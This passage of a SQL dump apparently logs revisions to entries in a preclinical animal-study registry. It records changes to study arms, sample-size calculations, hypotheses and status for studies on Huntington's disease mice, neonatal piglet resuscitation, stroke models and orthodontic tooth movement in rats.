(HOM)\"}],\"new_value\":[{\"type\":\"sham\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle control wild type (WT)\"},{\"type\":\"sham\",\"number\":\"40\",\"intervention\":\"Exp 1 Vehicle control heterozygous (HET)\"},{\"type\":\"sham\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle control homozygous (HOM)\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Exp 1 Treated wild type (WT)\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"Exp 1 Treated heterozygous (HET)\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle homozygous (HOM)\"},{\"type\":\"sham\",\"number\":\"28\",\"intervention\":\"Exp 2 Vehicle control wild type (WT)\"},{\"type\":\"sham\",\"number\":\"55\",\"intervention\":\"Exp 2 Vehicle control heterozygous (HET)\"},{\"type\":\"sham\",\"number\":\"28\",\"intervention\":\"Exp 2 Vehicle control homozygous (HOM)\"},{\"type\":\"intervention\",\"number\":\"27\",\"intervention\":\"Exp 2 Treated wild type (WT)\"},{\"type\":\"intervention\",\"number\":\"55\",\"intervention\":\"Exp 2 Treated heterozygous (HET)\"},{\"type\":\"intervention\",\"number\":\"27\",\"intervention\":\"Exp 2 Treated homozygous (HOM)\"}]},{\"key\":\"sum_of_animals\",\"old_value\":\"Experiment 1: 160 total\\nExperiment 2: 152 total\",\"new_value\":\"Experiment 1: 160 total\\nExperiment 2: 220 total\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"\\nExperiment 1\\n\\u2022\\tExperimental unit: 1 animal\\n\\u2022\\tSample size calculation:\\n\\u2022\\tParameter: relative risk to die (RR) before 16 months of age\\n\\u2022\\t\\u03b1 = 0.05 (two-tailed): This \\u03b1 is considered to be provide sufficient confidence for further development steps using this compound for treatment of HD. \\n\\u2022\\t\\u03b2 = 0.1: A power of 90% is considered to achieve sufficient confidence to avoid false negative results with a manageable number of animals. \\n\\u2022\\tSample size calculation by Fisher\\u2019s exact test to compare proportions, and the 16 months survival data for the heterozygouse (HET) Q175FDN mice and its wildtype (WT) littermates. (Probability to die until months 16, pWT \\u2248 0.2, pHET \\u2248 0.9). For our experiment for the (TreHET) in comparison to the untreated (VehHET) animals, a p of 0.55 is anticipated as realistic effect size. Using this assumptions, a group size of \\u226536 was calculated for the each of the HET groups . A sample size \\u2265 40 for the each HET group (untreated, treated) is suggested for the experiment.\\n\\u2022\\tAccording to Mendel\\u2019s roles and the applied breeding procedure (HETxHET) for each homozygouse genotype (wildtype (C) and homozygouse for mHTT (Hom)) approximately half of the number of heterozygouse animals is expected (\\u2248 40 per genotype) during breeding. Both homozygouse genotypes should be separately randomized 1:1 to PQ912 treatment or vihecle (see table below).\\n\\u2022\\tTotal number of animals to be used in experiment 1: \\u2265 160\\n\\u2022\\tDue to planned complete randomization of each litter slightly higher animal numbers may be expected which will give additional confidence.\\n\\u2022\\tNumber of animals in each experimental group:\\n1. VehC: \\u2248 20\\t4. TreHet \\u2265 40\\n2. TreC: \\u2248 20\\t5. VehHom: \\u2248 20\\n3. VehHet \\u2265 40\\t6. TreHom: \\u2248 20\\n\\u2022\\tStatistical methods to be used \\n\\u2022\\tFisher\\u2019s exact test to compare proportions\\n\\u2022\\tHierarchical testing (2 steps)\\n\\u2022\\tH0: VehC = VehHet, H1: VehC \\u2260 VehHet, if H1 is verified, go to 2. Power for this step = 99.8%.\\n\\u2022\\tH0: TreHet = VehHet, H1: TreHet \\u2260 VehHet\\n\\u2022\\tComparisons of homozygous groups (VehC vs. TreC, VehHom vs. TreHom) will be done as secondary analyses.\\n\\nExperiment 2\\n\\u2022\\tExperimental unit: 1 animal\\n\\u2022\\tSample size calculation:\\n\\u2022\\tParameter: striatal volume (mm3) at 9 months of age\\n\\u2022\\t\\u03b1 = 0.05 (two-tailed), \\u03b2 = 0.1\\n\\u2022\\tSample size calculation is based on a t- test to compare 2 independent groups (VehHet vs. TreHet) and the data presented by Southwell et al. for the heterozygous (HET) Q175FDN mice and its WT littermates. From these data an effect size of 1.32 was calculated.\\n\\u2022\\tFor the planned comparison of untreated (VehHET) treated (TreHET) heterozygous animals in this experiment an effect size 0.66 (half effect to normalization) is anticipated as realistic effect size. Using this assumptions a group size for each group of heterozygous animals of 50 was calculated. Taking 10 % early death into account in total 110 animals are necessary for both groups to achieve at least 50 mice per group at the age of 9 months for final evaluation.\\n\\u2022\\tAccording to Mendel\\u2019s roles and the applied breeding procedure (HETxHET) for each homozygouse genotype (wildtype (C) and homozygouse for mHTT (Hom)) approximately half of the number of heterozygouse animals is expected (\\u2248 27 per genotype) during breeding. Both homozygouse genotypes should be separately randomized 1:1 to PQ912 treatment or vihecle (see table below).\\n\\u2022\\tTotal number of animals to be used in experiment 2: \\u2248 220\\n\\u2022\\tNumber of animals in each experimental group:\\n1. VehC: \\u2248 28\\t4. TreHet \\u2265 55\\n2. TreC: \\u2248 27\\t5. VehHom: \\u2248 28\\n3. VehHet \\u2265 55\\t6. TreHom: \\u2248 27\\n\\u2022\\tStatistical methods to be used \\n\\u2022\\tMultiple regression with adjustment for gender and site\\n\\u2022\\tH0: TreHet = VehHet, H1: TreHet \\u2260 VehHet\\n\\u2022\\tComparisons of homozygous groups (VehC vs. TreC, VehHom vs. TreHom) will be done as secondary analyses.\\n\"}]','2019-11-29 13:09:38','2019-11-29 13:09:38'),
	(155,177,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"40\",\"intervention\":\"untreated MCA+\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"remote ischemic conditioning MCA+\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"untreated sham MCA- \"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"remote ischemic conditioning sham MCA- \"}],\"new_value\":[{\"type\":\"control\",\"number\":\"40\",\"intervention\":\"untreated MCA+ rats\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"remote ischemic conditioning MCA+ rats\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"untreated sham MCA- rats\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"remote ischemic conditioning sham MCA- rats\"},{\"type\":\"control\",\"number\":\"40\",\"intervention\":\"untreated MCA+ mice\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"remote ischemic conditioning MCA+ mice\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"untreated sham MCA- mice\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"remote ischemic conditioning sham MCA- mice\"}]},{\"key\":\"other_intervention_type\",\"old_value\":\"Non-pharmacological therapy\",\"new_value\":\"Non-pharmacological therapy (remote ischemic conditioning)\"},{\"key\":\"placebo_controlled\",\"old_value\":\"no\",\"new_value\":\"yes\"}]','2019-12-17 16:56:15','2019-12-17 16:56:15'),
	(156,162,'[{\"key\":\"sample_size_calculation_details\",\"old_value\":\"A total number of 108 (18 in each group) is calculated using Epicalc program version 1.02 assuming a power of 80 % and alpha=0.05. The sample size is based on presence of periapical healing for root  in group  B and A group was (81.25%) and (43.75%);\",\"new_value\":\"A total number of 108 root Canals  (18 in each group) is calculated using Epicalc program version 1.02 assuming a power of 80 % and alpha=0.05. The sample size is based on presence of periapical healing for root  in group  B and A group was (81.25%) and (43.75%);\"},{\"key\":\"sum_of_animals\",\"old_value\":\"6 dogs\",\"new_value\":\"6 dogs ( up to 24 root canals each)\"}]','2019-12-18 10:44:01','2019-12-18 10:44:01'),
	(157,178,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"A\",\"intervention\":\"7 PDX lines, exposure to CDKI-73 (CDK9i) only\"},{\"type\":\"intervention\",\"number\":\"B\",\"intervention\":\"7 PDX lines; exposure to JQ1 (BRD4i) only\"},{\"type\":\"intervention\",\"number\":\"C\",\"intervention\":\"7 PDX lines, exposure to JQ1 (BRD4i) and CDKI-73 (CDK9i)\"},{\"type\":\"control\",\"number\":\"D\",\"intervention\":\"7 PDX lines, exposure to vehicle only\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"Organoid growth, 7 PDX lines (Exposure to A;B;C; and D)\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"7 PDX mice, NSG (NOD.Cg-Prkdcscid Il2rgtm1Wjl\\/SzJ) mice, A-D, Size of PDX tumors\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"Penetrance of Myf6Cre, Pax3:Fkhr, p53 null xenograft tumors, A-D\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"A\",\"intervention\":\"7 PDX lines, exposure to CDKI-73 (CDK9i) only\"},{\"type\":\"intervention\",\"number\":\"B\",\"intervention\":\"7 PDX lines; exposure to JQ1 (BRD4i) only\"},{\"type\":\"intervention\",\"number\":\"C\",\"intervention\":\"7 PDX lines, exposure to JQ1 (BRD4i) and CDKI-73 (CDK9i)\"},{\"type\":\"control\",\"number\":\"D\",\"intervention\":\"7 PDX lines, exposure to vehicle only\"},{\"type\":\"intervention\",\"number\":\"112\",\"intervention\":\"Organoid growth, 7 PDX lines (Exposure to A;B;C; and D)\"},{\"type\":\"intervention\",\"number\":\"168\",\"intervention\":\"7 PDX mice, NSG (NOD.Cg-Prkdcscid Il2rgtm1Wjl\\/SzJ) mice, A-D, Size of PDX tumors\"},{\"type\":\"intervention\",\"number\":\"80\",\"intervention\":\"Penetrance of Myf6Cre, Pax3:Fkhr, p53 null xenograft tumors, A-D\"}]}]','2019-12-28 19:08:46','2019-12-28 19:08:46'),
	(158,152,'[{\"key\":\"hypothesis\",\"old_value\":\"Cardiac arrest in infants\\/children\\r\\n\\r\\nWe hypothesize that using a different chest compression technique (sustained inflations during chest compressions, CC+SI) during cardiopulmonary resuscitation (CPR) will result in reduced times to return of spontaneous circulation (ROSC) compared to resuscitation with 15:2 compression-to-ventilation (C:V) ratio.\",\"new_value\":\"Cardiac arrest in infants\\/children\\r\\n\\r\\nWe hypothesize that using a different chest compression technique (sustained inflations during chest compressions, CC+SI) during cardiopulmonary resuscitation (CPR) will result in reduced times to return of spontaneous circulation (ROSC) compared to resuscitation with continuous chest compression with asynchronized ventilation (CCaV).\"},{\"key\":\"hypothesis\",\"old_value\":\"We hypothesize that using a different chest compression technique (sustained inflations during chest compressions, CC+SI) during cardiopulmonary resuscitation (CPR) will result in reduced times to return of spontaneous circulation (ROSC) compared to resuscitation with 15:2 compression-to-ventilation (C:V) ratio.\",\"new_value\":\"We hypothesize that using a different chest compression technique (sustained inflations during chest compressions, CC+SI) during cardiopulmonary resuscitation (CPR) will result in reduced times to return of spontaneous circulation (ROSC) compared to resuscitation with continuous chest compression with asynchronized ventilation (CCaV).\"}]','2020-01-09 06:09:11','2020-01-09 06:09:11'),
	(159,163,'[{\"key\":\"sample_size_calculation\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Drop out rate 20% in exercise training intervention (n=10)\",\"new_value\":\"Drop out rate 20% in exercise training intervention (n=10)\\n\"}]','2020-02-04 08:34:10','2020-02-04 08:34:10'),
	(160,169,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"1\",\"intervention\":\"\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Intrahippocampal autologous skin-derived neural precursor transplant\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Alzheimer dementia\\r\\n\\r\\nDetermine whether intrahippocampal autologous skin-derived neuroprecursor cell therapy is safe and effective for Canine Alzheimer dementia\",\"new_value\":\"Alzheimer dementia\\r\\n\\r\\nDetermine whether skin-derived neuroprecursor cell transplantation is a safe and effective treatment for Canine Alzheimer dementia\"},{\"key\":\"hypothesis\",\"old_value\":\"Determine whether intrahippocampal autologous skin-derived neuroprecursor cell therapy is safe and effective for Canine Alzheimer dementia\",\"new_value\":\"Determine whether skin-derived neuroprecursor cell transplantation is a safe and effective treatment for Canine Alzheimer dementia\"},{\"key\":\"study_stage\",\"old_value\":\"study_stage_2_value\",\"new_value\":\"study_stage_1_value\"}]','2020-02-10 06:29:55','2020-02-10 06:29:55'),
	(161,179,'[{\"key\":\"end_date\",\"old_value\":\"2020-02-14\",\"new_value\":\"2020-02-20\"},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"active\"}]','2020-02-10 12:45:23','2020-02-10 12:45:23'),
	(162,143,'[{\"key\":\"randomisation_method_used\",\"old_value\":\"\",\"new_value\":\"computer-generated_random_number_sequence\"},{\"key\":\"other_randomisation_method\",\"old_value\":\"\",\"new_value\":\"Animals were randomised in 2 blocks, using a random number series generated online. Modifications were made as necessary following exclusions to ensure that groups remained appropriately balanced for sex and weight.\"},{\"key\":\"details_randomisation\",\"old_value\":\"\",\"new_value\":\"block_randomisation\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Amount of hFABP in blood plasma as a marker for infarct size.\",\"new_value\":\"- Amount of hFABP and hsTnI in blood plasma as a marker for infarct size.\\n- Left ventriclar function determined by pressure-volume loops and echocardiography.\"}]','2020-02-24 14:10:37','2020-02-24 14:10:37'),
	(163,174,'[{\"key\":\"hypothesis\",\"old_value\":\"Assessing motor function and associated brain activity in wild-type C57BL\\/6 mice.\",\"new_value\":\"Assessing motor function and associated EEG activity in wild-type C57BL\\/6 mice.\"},{\"key\":\"intervention_type\",\"old_value\":\"model_optimalisation\",\"new_value\":\"surgery\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Feasibility\",\"new_value\":\"Feasibility: EEG will be used to assess brain activity of mice during a number of different tasks involving locomotor activity. \"},{\"key\":\"randomisation\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"why_no_randomisation\",\"old_value\":\"\",\"new_value\":\"Only one experimental group but running order for experiments was randomised\"},{\"key\":\"strain\",\"old_value\":\"C57BL\\/6\",\"new_value\":\"C57BL\\/6J\"},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"completed_but_not_published\"}]','2020-02-26 16:30:58','2020-02-26 16:30:58'),
	(164,152,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"Chest Compressions with Sustained Inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"Chest Compressions with Asynchronous Ventilations (CCaV)\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"3:1 Compression-to-Ventilation Ration (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"15:2 Compression-to-Ventilation Ration (15:2 C:V)\"},{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"Sham\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Chest Compressions with Sustained Inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Chest Compressions with Asynchronous Ventilations (CCaV)\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"3:1 Compression-to-Ventilation Ration (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"15:2 Compression-to-Ventilation Ration (15:2 C:V)\"},{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"Sham\"}]},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"active\"},{\"key\":\"sum_of_animals\",\"old_value\":\"72\",\"new_value\":\"32\"}]','2020-03-09 18:00:02','2020-03-09 18:00:02'),
	(165,137,'[{\"key\":\"study_status\",\"old_value\":\"completed_but_not_published\",\"new_value\":\"completed_and_published_full-text\"}]','2020-03-16 17:49:23','2020-03-16 17:49:23'),
	(166,161,'[{\"key\":\"study_status\",\"old_value\":\"completed_but_not_published\",\"new_value\":\"completed_and_published_full-text\"}]','2020-03-25 17:17:32','2020-03-25 17:17:32'),
	(167,155,'[{\"key\":\"study_status\",\"old_value\":\"completed_but_not_published\",\"new_value\":\"completed_and_published_full-text\"}]','2020-03-27 13:26:50','2020-03-27 13:26:50'),
	(168,161,'[{\"key\":\"experimental_design\",\"old_value\":\"Porcine model of neonatal asphyxia\",\"new_value\":\"Porcine model of neonatal asphyxia with 0-3 day old piglets; Asphyxia was induced by clamping the endotracheal tube until cardiac arrest.\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"There was no power or sample size calculation, as this study was an add on to an existing animal study. This study was added during the asphyxia phase to assess if this specific tool can be used to assess the heart rate.\"},{\"key\":\"link_to_data\",\"old_value\":\"\",\"new_value\":\"https:\\/\\/www.frontiersin.org\\/articles\\/10.3389\\/fped.2020.00018\\/full\"}]','2020-04-15 15:10:46','2020-04-15 15:10:46'),
	(169,155,'[{\"key\":\"experimental_design\",\"old_value\":\"Porcine model of neonatal asphyxia\",\"new_value\":\" Porcine model of neonatal asphyxia with 0-3 day old piglets; Asphyxia was induced by clamping the endotracheal tube until cardiac arrest.\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"There was no power or sample size calculation, as this study was an add on to an existing animal study. This study was added during the asphyxia phase to assess if these specific tools can be used to assess the heart rate.\"},{\"key\":\"link_to_data\",\"old_value\":\"\",\"new_value\":\"https:\\/\\/www.frontiersin.org\\/articles\\/10.3389\\/fped.2019.00453\\/full\"}]','2020-04-15 15:11:52','2020-04-15 15:11:52'),
	(170,152,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Chest Compressions with Sustained Inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Chest Compressions with Asynchronous Ventilations (CCaV)\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"3:1 Compression-to-Ventilation Ration (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"15:2 Compression-to-Ventilation Ration (15:2 C:V)\"},{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"Sham\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Chest Compressions with Sustained Inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Chest Compressions with Asynchronous Ventilations (CCaV)\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"Sham\"}]},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"According to previous animal studies, the mean (SD) time to achieve ROSC was 180 (60) sec. We hypothesize that piglets resuscitated using the CC+SI technique will have a faster time to ROSC. A sample size of 16 per group will be sufficient to detect a clinically important (33%) reduction in time to achieve ROSC (i.e. 180 sec vs. 120 sec), with 80% power and a 2-tailed alpha error of 0.05.\",\"new_value\":\"Our primary outcome measure will be time to achieve ROSC. Our pilot studies showed a mean (standard deviation) ROSC of 700 (120) secs during CPR using CCaV. We hypothesized that CC+SI during CPR would reduce time to achieve ROSC. A sample size of 24 piglets (12 per group) was sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 700 sec vs. 560 sec), with 80% power and a 2-tailed alpha error of 0.05.\\n\"}]','2020-04-15 16:39:40','2020-04-15 16:39:40'),
	(171,143,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"MI induction; compound treatment\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"MI induction; placebo treatment\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"18\",\"intervention\":\"MI induction; compound treatment\"},{\"type\":\"control\",\"number\":\"18\",\"intervention\":\"MI induction; placebo treatment\"}]}]','2020-04-17 17:18:26','2020-04-17 17:18:26'),
	(172,143,'[{\"key\":\"sum_of_animals\",\"old_value\":\"22 animals in total; 2 arms of 11 animals each.\",\"new_value\":\"36 animals in total; 2 arms of 18 animals each.\"}]','2020-04-22 15:09:05','2020-04-22 15:09:05'),
	(173,148,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"different chest compression depths: 33%, 40%, 25%, 12.5% anterior-posterior chest depth\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"different chest compression depths: 33%, 40%, and 25% anterior-posterior chest depth\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Asphyxia \\/ hypoxia at birth\\r\\n\\r\\nWe hypothesize that using a chest compression depth of 40%, 25% and 12.5% during resuscitation will result in similar times to return of spontaneous circulation as 33%.\",\"new_value\":\"Asphyxia \\/ hypoxia at birth\\r\\n\\r\\nWe hypothesize that using a chest compression depth of 40% and 25% during resuscitation will result in similar times to return of spontaneous circulation as 33%.\"},{\"key\":\"hypothesis\",\"old_value\":\"We hypothesize that using a chest compression depth of 40%, 25% and 12.5% during resuscitation will result in similar times to return of spontaneous circulation as 33%.\",\"new_value\":\"We hypothesize that using a chest compression depth of 40% and 25% during resuscitation will result in similar times to return of spontaneous circulation as 33%.\"},{\"key\":\"sum_of_animals\",\"old_value\":\"5 piglets\",\"new_value\":\"8 piglets, this is a pilot study, which will allow us to do a proper sample size calculation for a randomized controlled animal trial.\"}]','2020-04-23 16:52:56','2020-04-23 16:52:56'),
	(174,188,'[{\"key\":\"sum_of_animals\",\"old_value\":\"40\",\"new_value\":\"18\"}]','2020-05-14 15:53:32','2020-05-14 15:53:32'),
	(175,148,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"different chest compression depths: 33%, 40%, and 25% anterior-posterior chest depth\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"In this pilot feasibility trial to assess if the automated chest compression device works, all piglets will receive chest compression with 40%, 33%, and 25% depth\"}]}]','2020-05-14 18:45:40','2020-05-14 18:45:40'),
	(176,187,'[{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"Previously conducted pilot experiments in vitro showed no toxicity. Lethality is not expected due to the low level of transient expression of the studied vector. For the experimental group and the placebo group, it is planned to administer three different doses in three different volumes. The increase in the injected volume is dictated by the solubility of the drug. The higher the dose, the more solvent is needed. In this regard, for each dose\\/volume of administration, it is planned to use 6 animals (those in total 18 female or male animals) for each dose of the drug or placebo. In the control group consisting of 6 females and 6 males, no treatments are planned. The total number of animals in this group is 12\"}]','2020-05-15 09:11:42','2020-05-15 09:11:42'),
	(177,152,'[{\"key\":\"end_date\",\"old_value\":\"2020-05-14\",\"new_value\":\"2020-05-01\"},{\"key\":\"study_status\",\"old_value\":\"active\",\"new_value\":\"completed_but_not_published\"}]','2020-06-09 04:54:23','2020-06-09 04:54:23'),
	(178,189,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"16\",\"intervention\":\"control group\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"diabetic\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"treated control\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"treated control\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"treated diabetic\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"treated diabetic\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"16\",\"intervention\":\"control group\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"STZ-diabetic group\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"Empagliflozin treated control group\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"Linagliptin treated control group\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Empagliflozin treated diabetic group\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Linagliptin treated diabetic group\"}]},{\"key\":\"other_intervention_type\",\"old_value\":\"\",\"new_value\":\"Empagliflozin and Linagliptin\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"Greater planned sample size for the STZ- as compared to vehicle-injected rats is based on the assumption that some diabetic rats may die so that at least 16 rats per group remain eligible for analysis. This sample size is not based on a formal power calculation but on past experience with the STZ model. The reason for the lack of a formal power calculation is that we have not basis to assume which effect size for changes of miRNA expression is biologically relevant and which variability in expression is to be expected.\"}]','2020-06-29 23:21:13','2020-06-29 23:21:13'),
	(179,193,'[{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Secondary endpoints are hemodynamic parameters and respiratory markers, and injury markers.\",\"new_value\":\"Secondary endpoints will include survival, differences in arterial blood pressure, differences in carotid blood flow, differences in exhaled CO2, differences in tidal volume delivery, differences in injury markers (i.e., Interleukin-1, Interleukin-6, Interleukin-8, TNF-alpha)\"}]','2020-07-12 15:18:32','2020-07-12 15:18:32'),
	(180,197,'[{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: The aim of the study is to study the effect of orally ingested Curcumin and Piperine on the rate of\\northodontic tooth movement, and the extent of root resorption in a rodent model. Classic root resorption\\nstudies on rats describe the histological changes seen under light microscopy when an orthodontic force is\\napplied to the teeth. Brudvik and Rygh (1993) found evidence of root resorption 2 to 3 days following the\\napplication of 50g force, delivered by NiTi coil spring between incisor and molar in their rodent sample.\\nRen et al (2004) applied 10g of orthodontic force (through a nickel titanium closed coil) to the maxillary first\\nmolar on Wistar rats. They concluded that the velocity of the experimental tooth movement was higher in\\nthe initial phase (0\\u20133 weeks) compared in the later phase (4\\u201312 weeks) of force application. They also\\nestablished that forces &gt; 10g applied to a rodent tooth is equivalent to a heavy force in a human sample.\\nTherefore, this study proposes to conduct will apply 10g of orthodontic force over a four week period to\\nmimic the effects of heavy orthodontic forces and the development of root resorption, while similarly\\nproviding sufficient time for peak velocity of orthodontic tooth movement.\",\"new_value\":\"Efficacy: The aim of the study is to study the effect of orally ingested Curcumin and Piperine on the rate of\\northodontic tooth movement, and the extent of root resorption in a rodent model. Classic root resorption\\nstudies on rats describe the histological changes seen under light microscopy when an orthodontic force is\\napplied to the teeth. Brudvik and Rygh (1993) found evidence of root resorption 2 to 3 days following the\\napplication of 50g force, delivered by NiTi coil spring between incisor and molar in their rodent sample.\\nRen et al (2004) applied 10g of orthodontic force (through a nickel titanium closed coil) to the maxillary first\\nmolar on Wistar rats. They concluded that the velocity of the experimental tooth movement was higher in\\nthe initial phase (0\\u20133 weeks) compared in the later phase (4\\u201312 weeks) of force application. They also\\nestablished that forces &gt; 10g applied to a rodent tooth is equivalent to a heavy force in a human sample.\\nTherefore, this study proposes to conduct will apply 10g of orthodontic force over a four week period to\\nmimic the effects of heavy orthodontic forces and the development of root resorption, while similarly\\nproviding sufficient time for peak velocity of orthodontic tooth movement.\\n\\nStudy design\\nAll rodents will have orthodontic appliances fitted (see below). The rodents will be randomised (by computer generated randomisation) to one of three groups: \\n-\\tGroup 1: Placebo (water) \\n-\\tGroup 2: Curcumin 2g\\/kg and Piperine 20mg\\/kg of body weight in aqueous solution.\\n-\\tGroup 3: Curcumin 2g\\/kg and Piperine 20mg\\/kg of body weight in Mogroside solid-dispersion. \\nThe placebo and Curcumin\\/Piperine formulations will be delivered daily via oral gavage\\n\\nAcclimatisation Period\\nThe acclimatisation period spans 2 weeks. Thirty six (36) 11 weeks old Wistar Rats are weighed and a live Micro CT scan is taken of each rodent\\u2019s head. The micro-CT will enable digital measurement of the linear distance between the maxillary first molar and the maxillary central incisor. The micro-CT will also provide a 3D recreation of the root morphology of the first maxillary molar. A sample of blood from the tail vein will be collected and frozen. \\n\\nOrthodontic Protocol\\nFollowing the 2 week Acclimatisation Period, orthodontic appliances are fitted to each rodent under general anaesthesia as per the \\u2018Insertion of Orthodontic Appliances SOP\\u2019. The appliances will be in situ for four consecutive weeks; \\nThe rats are ligated with the nickel titanium closed coils with 0.008\\u201d stainless steel ligatures from the first maxillary molar to the ipsilateral maxillary central. \\n\\nPost Orthodontic Phase\\nFollowing the 4 week Orthodontic Protocol, the placebo and Curcumin\\/Piperine formulations will be ceased and the rodents will be euthanised. \\n\\nA micro CT scan of the sectioned and fixed maxillae will be performed to quantify the amount of mesial movement of the maxillary first molar, and to measure any resorption craters on the root surface of the maxillary first molar. These measurements will be compared against the baseline microCT scan to determine the amount of tooth movement and extent of root resorption.\\n\\nThe results will be analysed with the assistance of a statistician to determine whether the addition of a formulation of Curcumin\\/Piperine can improve the outcomes of a commonly performed orthodontic procedure. \"}]','2020-07-13 01:26:35','2020-07-13 01:26:35'),
	(181,199,'[{\"key\":\"contact_name\",\"old_value\":\"Igor Suchkov\",\"new_value\":\"Ivan Chernykh\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"6 rats\",\"intervention\":\"chronic brain ischemia\"},{\"type\":\"control\",\"number\":\"14 rats\",\"intervention\":\"chronic brain ischemia\"},{\"type\":\"intervention\",\"number\":\"13 rats\",\"intervention\":\"chronic brain ischemia and nimodipine administration\"},{\"type\":\"intervention\",\"number\":\"11 rats\",\"intervention\":\"chronic brain ischemia and omeprazol administration\"},{\"type\":\"intervention\",\"number\":\"16 rats\",\"intervention\":\"chronic brain ischemia and omeprazol+nimodipine administration\"},{\"type\":\"other\",\"number\":\"30 rats\",\"intervention\":\"Development of methodics of P-glycoprotein activity in BBB analyses\"},{\"type\":\"intervention\",\"number\":\"30 rats\",\"intervention\":\"Analyses of expediency to Inhibit P-glycoprotein activity in BBB in order to improve the results of neuroprotective pharmacotherapy of acute cerebrovascular accident\"},{\"type\":\"intervention\",\"number\":\"60 rats\",\"intervention\":\"Analyses of P-glycoprotein functioning during chronic brain ischemia\"},{\"type\":\"intervention\",\"number\":\"178 rats\",\"intervention\":\"Analyses of P-glycoprotein functioning during acute 